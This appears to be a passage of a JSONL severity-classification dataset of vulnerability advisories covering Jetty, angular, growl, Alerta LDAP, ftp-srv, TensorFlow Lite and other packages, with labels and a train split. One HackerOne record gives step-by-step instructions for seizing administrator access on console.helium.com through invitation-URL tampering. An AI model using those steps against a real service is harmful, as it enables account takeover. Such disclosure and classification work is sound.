[CVSSv3.1 score of 7.8/10 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&version=3.1)\n\n### Patches\nFixes were applied to the 9.4.x branch with:\n- https://github.com/eclipse/jetty.project/commit/53e0e0e9b25a6309bf24ee3b10984f4145701edb\n- https://github.com/eclipse/jetty.project/commit/9ad6beb80543b392c91653f6bfce233fc75b9d5f\n\nThese will be included in releases: 9.4.33, 10.0.0.beta3, 11.0.0.beta3\n\n### Workarounds\n\nA work around is to set a temporary directory, either for the server or the context, to a directory outside of the shared temporary file system.\nFor recent releases, a temporary directory can be created simple by creating a directory called `work` in the ${jetty.base} directory (the parent directory of the `webapps` directory).\nAlternately the java temporary directory can be set with the System Property `java.io.tmpdir`.    A more detailed description of how jetty selects a temporary directory is below.\n\nThe Jetty search order for finding a temporary directory is as follows:\n\n1. If the [`WebAppContext` has a temp directory specified](https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/webapp/WebAppContext.html#setTempDirectory(java.io.File)), use it.\n2. If the `ServletContext` has the `javax.servlet.context.tempdir` attribute set, and if directory exists, use it.\n3. If a `${jetty.base}/work` directory exists, use it (since Jetty 9.1)\n4. If a `ServletContext` has the `org.eclipse.jetty.webapp.basetempdir` attribute set, and if the directory exists, use it.\n5. Use `System.getProperty(\"java.io.tmpdir\")` and use it.\n\nJetty will end traversal at the first successful step.\nTo mitigate this vulnerability the directory must be set to one that is not writable by an attacker.  To avoid information leakage, the directory should also not be readable by an attacker.\n\n#### Setting a Jetty server temporary directory.\n\nChoices 3 and 5 apply to the server level, and will impact all deployed webapps on the server.\n\nFor choice 3  just create that work directory underneath your `${jetty.base}` and restart Jetty.\n\nFor choice 5, just speci", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-04", "split": "train"}
-{"id": "c14629cf56f2d880072d", "text": "angular Prototype Pollution vulnerability\n\nVersions of `angular ` prior to 1.7.9 are vulnerable to prototype pollution. The deprecated API function `merge()` does not restrict the modification of an Object's prototype in the , which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nUpgrade to version 1.7.9 or later. The function was already deprecated and upgrades are not expected to break functionality.", "text_raw": "angular Prototype Pollution vulnerability\n\n[Severity: HIGH]\n\nVersions of `angular ` prior to 1.7.9 are vulnerable to prototype pollution. The deprecated API function `merge()` does not restrict the modification of an Object's prototype in the , which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nUpgrade to version 1.7.9 or later. The function was already deprecated and upgrades are not expected to break functionality.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "99374af777d3c7d905e8", "text": "Growl before 1.10.0 vulnerable to Command Injection\n\nAffected versions of `growl` do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.\n\n## Recommendation\n\nUpdate to version 1.10.0 or later.", "text_raw": "Growl before 1.10.0 vulnerable to Command Injection\n\n[Severity: CRITICAL]\n\nAffected versions of `growl` do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.\n\n\n## Recommendation\n\nUpdate to version 1.10.0 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-06-08", "split": "train"}
-{"id": "0ad98a20515d2a521a86", "text": "LDAP authentication bypass with empty password\n\n### Impact\nUsers may be able to bypass LDAP authentication if they provide an empty password when Alerta server is configure to use LDAP as the authorization provider.\n\nOnly deployments where LDAP servers are configured to allow unauthenticated binds (eg. default on Active Directory) are affected.\n\n### Patches\nA fix has been implemented that returns HTTP 401 Unauthorized response for any authentication attempts where the password field is empty. See https://github.com/alerta/alerta/pull/1345\n\n### Workarounds\nLDAP administrators can disallow unauthenticated bind requests by clients.\n\n### References\nhttps://tools.ietf.org/html/rfc4513#section-5.1.2\nhttps://pypi.org/project/alerta-server/8.1.0/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Add a comment to the issue [#1277](https://github.com/alerta/alerta/issues/1277)\n* Email us at [admin@alerta.dev](mailto:admin@alerta.dev)", "text_raw": "LDAP authentication bypass with empty password\n\n[Severity: CRITICAL]\n\n### Impact\nUsers may be able to bypass LDAP authentication if they provide an empty password when Alerta server is configure to use LDAP as the authorization provider.\n\nOnly deployments where LDAP servers are configured to allow unauthenticated binds (eg. default on Active Directory) are affected.\n\n### Patches\nA fix has been implemented that returns HTTP 401 Unauthorized response for any authentication attempts where the password field is empty. See https://github.com/alerta/alerta/pull/1345\n\n### Workarounds\nLDAP administrators can disallow unauthenticated bind requests by clients.\n\n### References\nhttps://tools.ietf.org/html/rfc4513#section-5.1.2\nhttps://pypi.org/project/alerta-server/8.1.0/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Add a comment to the issue [#1277](https://github.com/alerta/alerta/issues/1277)\n* Email us at [admin@alerta.dev](mailto:admin@alerta.dev)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-11-06", "split": "train"}
-{"id": "0720f32a27078aa591a8", "text": "Authentication Weakness in keystone\n\nThere is an authentication weakness vulnerability in keystone before version 0.3.16.  Due to a bug in the the default sign in functionality, incomplete email addresses could be matched. A correct password is still required to complete sign in.", "text_raw": "Authentication Weakness in keystone\n\n[Severity: MEDIUM]\n\nThere is an authentication weakness vulnerability in keystone before version 0.3.16.  Due to a bug in the the default sign in functionality, incomplete email addresses could be matched. A correct password is still required to complete sign in.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "3a9cd7f8b6cb3e219e3d", "text": "Server-Side Request Forgery in ftp-srv\n\nAll versions of `ftp-srv` from v1.0.0 onward to v4.3.3 are vulnerable to Server-Side Request Forgery (SSRF). The package fails to prevent remote clients to access other resources in the network, for example when connecting to the server through telnet. This allows attackers to access any network resources available to the server, including private resources in the hosting environment.\n\n## Recommendation\n\nUpgrade to patched versions\n`^2.19.6, ^3.1.2, ^4.3.4`\n\n## Workarounds\nBlacklisting the FTP Command PORT will prevent the server from exposing this behaviour through active connections until a fix is applied.\n\n```\nconst ftp = new FtpSrv({\n  blacklist: ['PORT']\n});\n```", "text_raw": "Server-Side Request Forgery in ftp-srv\n\n[Severity: HIGH]\n\nAll versions of `ftp-srv` from v1.0.0 onward to v4.3.3 are vulnerable to Server-Side Request Forgery (SSRF). The package fails to prevent remote clients to access other resources in the network, for example when connecting to the server through telnet. This allows attackers to access any network resources available to the server, including private resources in the hosting environment.\n\n\n## Recommendation\n\nUpgrade to patched versions\n`^2.19.6, ^3.1.2, ^4.3.4`\n\n## Workarounds\nBlacklisting the FTP Command PORT will prevent the server from exposing this behaviour through active connections until a fix is applied.\n\n```\nconst ftp = new FtpSrv({\n  blacklist: ['PORT']\n});\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "7b9b4da7f2318fcc80fd", "text": "Rails activerecord gem has Improper Input Validation vulnerability\n\nRuby on Rails 2.3.9 and 3.0.0 does not properly handle nested attributes, which allows remote attackers to modify arbitrary records by changing the names of parameters for form inputs.", "text_raw": "Rails activerecord gem has Improper Input Validation vulnerability\n\n[Severity: MEDIUM]\n\nRuby on Rails 2.3.9 and 3.0.0 does not properly handle nested attributes, which allows remote attackers to modify arbitrary records by changing the names of parameters for form inputs.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "89dcf908d16774e56c17", "text": "Python-RSA decryption of ciphertext leads to DoS\n\nPython-RSA before 4.1 ignores leading '\\0' bytes during decryption of ciphertext. This could conceivably have a security-relevant impact, e.g., by helping an attacker to infer that an application uses Python-RSA, or if the length of accepted ciphertext affects application behavior (such as by causing excessive memory allocation).", "text_raw": "Python-RSA decryption of ciphertext leads to DoS\n\n[Severity: HIGH]\n\nPython-RSA before 4.1 ignores leading '\\0' bytes during decryption of ciphertext. This could conceivably have a security-relevant impact, e.g., by helping an attacker to infer that an application uses Python-RSA, or if the length of accepted ciphertext affects application behavior (such as by causing excessive memory allocation).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-24", "split": "train"}
-{"id": "a4da4663aee9a3c7f674", "text": "Cross-site scripting in Apache JSPWiki\n\nOn Apache JSPWiki, up to version 2.11.0.M4, a carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki, related to InfoContent.jsp, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim.", "text_raw": "Cross-site scripting in Apache JSPWiki\n\n[Severity: MEDIUM]\n\nOn Apache JSPWiki, up to version 2.11.0.M4, a carefully crafted plugin link invocation could trigger an XSS vulnerability on Apache JSPWiki, related to InfoContent.jsp, which could allow the attacker to execute javascript in the victim's browser and get some sensitive information about the victim.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "61813d1e835db0a2d9ab", "text": "jquery-rails and jquery-ujs subject to Exposure of Sensitive Information\n\njquery_ujs.js in jquery-rails before 3.1.3 and 4.x before 4.0.4 and rails.js in jquery-ujs before 1.0.4, as used with Ruby on Rails 3.x and 4.x, allow remote attackers to bypass the Same Origin Policy, and trigger transmission of a CSRF token to a different-domain web server, via a leading space character in a URL within an attribute value.", "text_raw": "jquery-rails and jquery-ujs subject to Exposure of Sensitive Information\n\n[Severity: MEDIUM]\n\njquery_ujs.js in jquery-rails before 3.1.3 and 4.x before 4.0.4 and rails.js in jquery-ujs before 1.0.4, as used with Ruby on Rails 3.x and 4.x, allow remote attackers to bypass the Same Origin Policy, and trigger transmission of a CSRF token to a different-domain web server, via a leading space character in a URL within an attribute value.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "e0aa504d712fb6a34c56", "text": "Time-of-check Time-of-use (TOCTOU) Race Condition in league/flysystem\n\n### Impact\n\nThe whitespace normalisation using in 1.x and 2.x removes any unicode whitespace. Under certain specific conditions this could potentially allow a malicious user to execute code remotely.\n\nThe conditions:\n\n- A user is allowed to supply the path or filename of an uploaded file.\n- The supplied path or filename is not checked against unicode chars.\n- The supplied pathname checked against an extension deny-list, not an allow-list.\n- The supplied path or filename contains a unicode whitespace char in the extension.\n- The uploaded file is stored in a directory that allows PHP code to be executed.\n\nGiven these conditions are met a user can upload and execute arbitrary code on the system under attack.\n\n### Patches\n\nThe unicode whitespace removal has been replaced with a rejection (exception).\n\nThe library has been patched in:\n- 1.x: https://github.com/thephpleague/flysystem/commit/f3ad69181b8afed2c9edf7be5a2918144ff4ea32\n- 2.x: https://github.com/thephpleague/flysystem/commit/a3c694de9f7e844b76f9d1b61296ebf6e8d89d74\n\n### Workarounds\n\nFor 1.x users, upgrade to 1.1.4. For 2.x users, upgrade to 2.1.1.", "text_raw": "Time-of-check Time-of-use (TOCTOU) Race Condition in league/flysystem\n\n[Severity: CRITICAL]\n\n### Impact\n\nThe whitespace normalisation using in 1.x and 2.x removes any unicode whitespace. Under certain specific conditions this could potentially allow a malicious user to execute code remotely.\n\nThe conditions: \n\n- A user is allowed to supply the path or filename of an uploaded file.\n- The supplied path or filename is not checked against unicode chars.\n- The supplied pathname checked against an extension deny-list, not an allow-list.\n- The supplied path or filename contains a unicode whitespace char in the extension.\n- The uploaded file is stored in a directory that allows PHP code to be executed.\n\nGiven these conditions are met a user can upload and execute arbitrary code on the system under attack.\n\n### Patches\n\nThe unicode whitespace removal has been replaced with a rejection (exception).\n\nThe library has been patched in:\n- 1.x: https://github.com/thephpleague/flysystem/commit/f3ad69181b8afed2c9edf7be5a2918144ff4ea32\n- 2.x: https://github.com/thephpleague/flysystem/commit/a3c694de9f7e844b76f9d1b61296ebf6e8d89d74\n\n### Workarounds\n\nFor 1.x users, upgrade to 1.1.4. For 2.x users, upgrade to 2.1.1.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "1c4b5d90c001a5cf73eb", "text": "Heap OOB read in TFLite\n\n### Impact\nA specially crafted TFLite model could trigger an OOB read on heap in the TFLite implementation of [`Split_V`](https://github.com/tensorflow/tensorflow/blob/c59c37e7b2d563967da813fa50fe20b21f4da683/tensorflow/lite/kernels/split_v.cc#L99):\n\n```cc\nconst int input_size = SizeOfDimension(input, axis_value);\n```\n\nIf `axis_value` is not a value between 0 and `NumDimensions(input)`, then the [`SizeOfDimension` function](https://github.com/tensorflow/tensorflow/blob/102b211d892f3abc14f845a72047809b39cc65ab/tensorflow/lite/kernels/kernel_util.h#L148-L150) will access data outside the bounds of the tensor shape array:\n\n```cc\ninline int SizeOfDimension(const TfLiteTensor* t, int dim) {\n  return t->dims->data[dim];\n}\n```\n\n### Patches \nWe have patched the issue in GitHub commit [ae2daeb45abfe2c6dda539cf8d0d6f653d3ef412](https://github.com/tensorflow/tensorflow/commit/ae2daeb45abfe2c6dda539cf8d0d6f653d3ef412).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB read in TFLite\n\n[Severity: MEDIUM]\n\n### Impact\nA specially crafted TFLite model could trigger an OOB read on heap in the TFLite implementation of [`Split_V`](https://github.com/tensorflow/tensorflow/blob/c59c37e7b2d563967da813fa50fe20b21f4da683/tensorflow/lite/kernels/split_v.cc#L99):\n\n```cc\nconst int input_size = SizeOfDimension(input, axis_value);\n``` \n\nIf `axis_value` is not a value between 0 and `NumDimensions(input)`, then the [`SizeOfDimension` function](https://github.com/tensorflow/tensorflow/blob/102b211d892f3abc14f845a72047809b39cc65ab/tensorflow/lite/kernels/kernel_util.h#L148-L150) will access data outside the bounds of the tensor shape array:\n\n```cc\ninline int SizeOfDimension(const TfLiteTensor* t, int dim) {\n  return t->dims->data[dim];\n}\n```\n  \n### Patches \nWe have patched the issue in GitHub commit [ae2daeb45abfe2c6dda539cf8d0d6f653d3ef412](https://github.com/tensorflow/tensorflow/commit/ae2daeb45abfe2c6dda539cf8d0d6f653d3ef412).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "f6e56c635a2851668cdc", "text": "[Cleartext Transmission of Sensitive Information] Cleartext Transmission of Sensitive Information Leads to administrator access\n\nThe weakness of the program is Cleartext Transmission of Sensitive Information through URL Leads to administrator access. This program is having one feature like we can add users like administrator and read-only, these are roles, into organizations. Here I get the administrator role at same organization by removing the original user id.\n\nVulnerable URL:  https%3A%2F%2Fconsole.helium.com%2Fusers\n\nSteps to Reproduce:\n1. After creating the account for your organization, go to the Users tab and here you can see your organization name on the top, now try to add a user by using the mail id with the role of the administration.\n2. Then the opposite user will receive the invitation link from the first user, Click on the invitation link it will take you into the registration page of Console.helium.com, but here thing is, just go to URL of current page here you can see the organization name, inviter id and also invite receiver id and change the mail id of receiver and click on enter.\n3. Now, you able to see the registration page again with different mail id in the field of the username and create a password for this id and click on the Register button.\n4. Now, this last mail id will receive a confirmation link to complete the registration process, for this go to the mailbox and click on the link and after trying to log in.\n5. After a successful login to the account, you can see the organization name of the inviter. Now you are also one the administrator of this organization.\n6. To confirm this, go to a first user account who invited into the administrator role, here you can able see the mail id of the last user instead of the real one.\n7. Yes… we have successfully done it.\n\n## Impact\n\nFull administrator account take over.", "text_raw": "[Cleartext Transmission of Sensitive Information] Cleartext Transmission of Sensitive Information Leads to administrator access\n\nThe weakness of the program is Cleartext Transmission of Sensitive Information through URL Leads to administrator access. This program is having one feature like we can add users like administrator and read-only, these are roles, into organizations. Here I get the administrator role at same organization by removing the original user id.\n\nVulnerable URL:  https%3A%2F%2Fconsole.helium.com%2Fusers\n\nSteps to Reproduce:\n1. After creating the account for your organization, go to the Users tab and here you can see your organization name on the top, now try to add a user by using the mail id with the role of the administration.\n2. Then the opposite user will receive the invitation link from the first user, Click on the invitation link it will take you into the registration page of Console.helium.com, but here thing is, just go to URL of current page here you can see the organization name, inviter id and also invite receiver id and change the mail id of receiver and click on enter.\n3. Now, you able to see the registration page again with different mail id in the field of the username and create a password for this id and click on the Register button.\n4. Now, this last mail id will receive a confirmation link to complete the registration process, for this go to the mailbox and click on the link and after trying to log in.\n5. After a successful login to the account, you can see the organization name of the inviter. Now you are also one the administrator of this organization.\n6. To confirm this, go to a first user account who invited into the administrator role, here you can able see the mail id of the last user instead of the real one.\n7. Yes… we have successfully done it.\n\n## Impact\n\nFull administrator account take over.\n\n\nSeverity:\nCritical", "severity": "critical", "severity_label": 3, "source": "hackerone", "timestamp": "2020-05-30", "split": "train"}
-{"id": "ec7a2b72d90acdf982f7", "text": "Symfony Unsafe Cache Serialization Could Enable RCE\n\nAn issue was discovered in Symfony 3.4.0 through 3.4.34, 4.2.0 through 4.2.11, and 4.3.0 through 4.3.7. Serializing certain cache adapter interfaces could result in remote code injection. This is related to symfony/cache.", "text_raw": "Symfony Unsafe Cache Serialization Could Enable RCE\n\n[Severity: CRITICAL]\n\nAn issue was discovered in Symfony 3.4.0 through 3.4.34, 4.2.0 through 4.2.11, and 4.3.0 through 4.3.7. Serializing certain cache adapter interfaces could result in remote code injection. This is related to symfony/cache.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "5db8a54b60c3905ce301", "text": "Path Traversal in elFinder.Net.Core\n\nThis affects the package elFinder.Net.Core from 0 and before 1.2.4. The user-controlled file name is not properly sanitized before it is used to create a file system path.", "text_raw": "Path Traversal in elFinder.Net.Core\n\n[Severity: HIGH]\n\nThis affects the package elFinder.Net.Core from 0 and before 1.2.4. The user-controlled file name is not properly sanitized before it is used to create a file system path.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "a746a528a48b7276e054", "text": "Squirrelcart v3.5.4 (table) Remote Cross-Site Scripting Vulnerability", "text_raw": "Squirrelcart v3.5.4 (table) Remote Cross-Site Scripting Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2013-02-19", "split": "train"}
-{"id": "21d42afa4fda3544016c", "text": "Path Traversal in superstatic\n\nAffected of `superstatic` are vulnerable to path traversal when used on Windows.\n\nAdditionally, it is vulnerable to path traversal on other platforms combined with certain Node.js versions which erroneously normalize `\\\\` to `/` in paths on all platforms (a known example being Node.js v9.9.0).\n\n## Recommendation\n\nUpdate to version 5.0.2 or later.", "text_raw": "Path Traversal in superstatic\n\n[Severity: HIGH]\n\nAffected of `superstatic` are vulnerable to path traversal when used on Windows. \n\nAdditionally, it is vulnerable to path traversal on other platforms combined with certain Node.js versions which erroneously normalize `\\\\` to `/` in paths on all platforms (a known example being Node.js v9.9.0).\n\n\n## Recommendation\n\nUpdate to version 5.0.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
-{"id": "99ce03b3ac1b2d08c6d6", "text": "Code Injection in script-manager\n\nAn unintended require vulnerability in script-manager npm package version 0.8.6 and earlier may allow attackers to execute arbitrary code.", "text_raw": "Code Injection in script-manager\n\n[Severity: HIGH]\n\nAn unintended require vulnerability in script-manager npm package version 0.8.6 and earlier may allow attackers to execute arbitrary code.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "cb4c6786e394cfa230ce", "text": "User content sandbox can be confused into opening arbitrary documents\n\n### Impact\n\nThe user content sandbox can be abused to trick users into opening unexpected documents after several user interactions. The content can be opened with a `blob` origin from the Matrix client, so it is possible for a malicious document to access user messages and secrets.\n\n### Patches\n\nThis has been fixed by https://github.com/matrix-org/matrix-react-sdk/pull/5657, which is included in 3.15.0.\n\n### Workarounds\n\nThere are no known workarounds.", "text_raw": "User content sandbox can be confused into opening arbitrary documents\n\n[Severity: LOW]\n\n### Impact\n\nThe user content sandbox can be abused to trick users into opening unexpected documents after several user interactions. The content can be opened with a `blob` origin from the Matrix client, so it is possible for a malicious document to access user messages and secrets.\n\n### Patches\n\nThis has been fixed by https://github.com/matrix-org/matrix-react-sdk/pull/5657, which is included in 3.15.0.\n\n### Workarounds\n\nThere are no known workarounds.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-03-03", "split": "train"}
-{"id": "3d0b5610d1ccacfa84f1", "text": "Control character injection in console output in github.com/ipfs/go-ipfs\n\n### Impact\nControl characters are not escaped from console output. This can result in hiding input from the user which could result in the user taking an unknown, malicious action.\n\n### Patches\n<!-- _Has the problem been patched? What versions should users upgrade to?_  -->\n\n- Patched via https://github.com/ipfs/go-ipfs/pull/7831 in v0.8.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ipfs](http://github.com/ipfs/go-ipfs)\n* Email us at [security@ipfs.io](mailto:security@ipfs.io)", "text_raw": "Control character injection in console output in github.com/ipfs/go-ipfs \n\n[Severity: MEDIUM]\n\n### Impact\nControl characters are not escaped from console output. This can result in hiding input from the user which could result in the user taking an unknown, malicious action.\n\n### Patches\n<!-- _Has the problem been patched? What versions should users upgrade to?_  -->\n\n- Patched via https://github.com/ipfs/go-ipfs/pull/7831 in v0.8.0\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ipfs](http://github.com/ipfs/go-ipfs)\n* Email us at [security@ipfs.io](mailto:security@ipfs.io)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "5a29e6887c16dd8b0102", "text": "ECDSA signature vulnerability of Minerva timing attack in jsrsasign\n\n### Impact\nECDSA side-channel attack named [Minerava](https://minerva.crocs.fi.muni.cz/) have been found and it was found that it affects to jsrsasign.\n\nExecution time of thousands signature generation have been observed then EC private key which is scalar value may be recovered since point and scalar multiplication time depends on bits of scalar. In jsrsasign 8.0.13 or later, execution time of EC point and scalar multiplication is almost constant and fixed for the issue.\n\n- Minerva is one of timing attack or side channel attack for EC.\n- If you don't use ECDSA class, you are not affected the vulnerability.\n- The vulnerability is that attacker may guess private key by checking processing time of EC key generation or ECDSA signing.\n- The cause issue is that point multiplication processing time in ECDSA signing is depends on private key value.\n- After 8.0.13, processing time of point multiplication in ECDSA signing have become constant for key value in theory.\n\n### Patches\nUsers using ECDSA signature generation should upgrade to 8.0.13 or later.\n\n### Workarounds\nThere is no workarounds in jsrsasign. Update jsrsasign or use other ECDSA library.\n\n### ACKNOWLEDGEMENT\nThanks to Jan Jancar @J08nY, Petr Svenda and Vladimir Sedlacek of Masaryk University in Czech Republic to find and report this vulnerability.\n\n### References\nhttps://minerva.crocs.fi.muni.cz/\nhttps://www.npmjs.com/advisories/1505\nhttps://github.com/kjur/jsrsasign/issues/411", "text_raw": "ECDSA signature vulnerability of Minerva timing attack in jsrsasign\n\n[Severity: MEDIUM]\n\n### Impact\nECDSA side-channel attack named [Minerava](https://minerva.crocs.fi.muni.cz/) have been found and it was found that it affects to jsrsasign.\n\nExecution time of thousands signature generation have been observed then EC private key which is scalar value may be recovered since point and scalar multiplication time depends on bits of scalar. In jsrsasign 8.0.13 or later, execution time of EC point and scalar multiplication is almost constant and fixed for the issue.\n\n- Minerva is one of timing attack or side channel attack for EC.\n- If you don't use ECDSA class, you are not affected the vulnerability.\n- The vulnerability is that attacker may guess private key by checking processing time of EC key generation or ECDSA signing.\n- The cause issue is that point multiplication processing time in ECDSA signing is depends on private key value.\n- After 8.0.13, processing time of point multiplication in ECDSA signing have become constant for key value in theory.\n\n### Patches\nUsers using ECDSA signature generation should upgrade to 8.0.13 or later.\n\n### Workarounds\nThere is no workarounds in jsrsasign. Update jsrsasign or use other ECDSA library.\n\n### ACKNOWLEDGEMENT\nThanks to Jan Jancar @J08nY, Petr Svenda and Vladimir Sedlacek of Masaryk University in Czech Republic to find and report this vulnerability.\n\n### References\nhttps://minerva.crocs.fi.muni.cz/\nhttps://www.npmjs.com/advisories/1505\nhttps://github.com/kjur/jsrsasign/issues/411", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-30", "split": "train"}
-{"id": "cdac948575d76e152060", "text": "Cross-Site Request Forgery in the Jenkins Claim plugin\n\nJenkins Claim Plugin 2.18.1 and earlier does not require POST requests for the form submission endpoint assigning claims, resulting in a cross-site request forgery (CSRF) vulnerability.\n\nThis vulnerability allows attackers to change claims.\n\nJenkins Claim Plugin 2.18.2 requires POST requests for the affected HTTP endpoint.", "text_raw": "Cross-Site Request Forgery in the Jenkins Claim plugin\n\n[Severity: MEDIUM]\n\nJenkins Claim Plugin 2.18.1 and earlier does not require POST requests for the form submission endpoint assigning claims, resulting in a cross-site request forgery (CSRF) vulnerability.\n\nThis vulnerability allows attackers to change claims.\n\nJenkins Claim Plugin 2.18.2 requires POST requests for the affected HTTP endpoint.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "6202ec5584ed015688f3", "text": "OS command injection in ripgrep\n\nripgrep before 13 on Windows allows attackers to trigger execution of arbitrary programs from the current working directory via the -z/--search-zip or --pre flag.", "text_raw": "OS command injection in ripgrep\n\n[Severity: CRITICAL]\n\nripgrep before 13 on Windows allows attackers to trigger execution of arbitrary programs from the current working directory via the -z/--search-zip or --pre flag.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-05", "split": "train"}
-{"id": "2063336c77f5decb010f", "text": "AVE DOMINAplus <=1.10.x CSRF/XSS Vulnerabilities", "text_raw": "AVE DOMINAplus <=1.10.x CSRF/XSS Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-12-27", "split": "train"}
-{"id": "03621a9a6ad597d9fc44", "text": "Pyo Buffer Overflow Vulnerability\n\nBuffer overflow in ajaxsoundstudio.com Pyo <= 1.03 in the `Server_jack_init function` which allows attackers to conduct Denial of Service attacks by arbitrary constructing a overlong `client_name`.", "text_raw": "Pyo Buffer Overflow Vulnerability\n\n[Severity: HIGH]\n\nBuffer overflow in ajaxsoundstudio.com Pyo <= 1.03 in the `Server_jack_init function` which allows attackers to conduct Denial of Service attacks by arbitrary constructing a overlong `client_name`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-18", "split": "train"}
-{"id": "eef5f87fd31f0cd43d7f", "text": "The `size` option isn't honored after following a redirect in node-fetch\n\n### Impact\nNode Fetch did not honor the `size` option after following a redirect, which means that when a content size was over the limit, a `FetchError` would never get thrown and the process would end without failure.\n\nFor most people, this fix will have a little or no impact. However, if you are relying on node-fetch to gate files above a size, the impact could be significant, for example: If you don't double-check the size of the data after `fetch()` has completed, your JS thread could get tied up doing work on a large file (DoS) and/or cost you money in computing.\n\n### Patches\nWe released patched versions for both stable and beta channels:\n\n- For `v2`: 2.6.1\n- For `v3`: 3.0.0-beta.9\n\n### Workarounds\nNone, it is strongly recommended to update as soon as possible.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [node-fetch](https://github.com/node-fetch/node-fetch/issues/new?assignees=&labels=question&template=support-or-usage.md&title=Question%3A+)\n* Contact one of the core maintainers.", "text_raw": "The `size` option isn't honored after following a redirect in node-fetch\n\n[Severity: LOW]\n\n### Impact\nNode Fetch did not honor the `size` option after following a redirect, which means that when a content size was over the limit, a `FetchError` would never get thrown and the process would end without failure.\n\nFor most people, this fix will have a little or no impact. However, if you are relying on node-fetch to gate files above a size, the impact could be significant, for example: If you don't double-check the size of the data after `fetch()` has completed, your JS thread could get tied up doing work on a large file (DoS) and/or cost you money in computing.\n\n### Patches\nWe released patched versions for both stable and beta channels:\n\n- For `v2`: 2.6.1\n- For `v3`: 3.0.0-beta.9\n\n### Workarounds\nNone, it is strongly recommended to update as soon as possible.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [node-fetch](https://github.com/node-fetch/node-fetch/issues/new?assignees=&labels=question&template=support-or-usage.md&title=Question%3A+)\n* Contact one of the core maintainers.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-10", "split": "train"}
-{"id": "bdc482191c67daa02976", "text": "Prototype pollution in chart.js\n\nThis affects the package chart.js before 2.9.4. The options parameter is not properly sanitized when it is processed. When the options are processed, the existing options (or the defaults options) are deeply merged with provided options. However, during this operation, the keys of the object being set are not checked, leading to a prototype pollution.", "text_raw": "Prototype pollution in chart.js\n\n[Severity: HIGH]\n\nThis affects the package chart.js before 2.9.4. The options parameter is not properly sanitized when it is processed. When the options are processed, the existing options (or the defaults options) are deeply merged with provided options. However, during this operation, the keys of the object being set are not checked, leading to a prototype pollution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
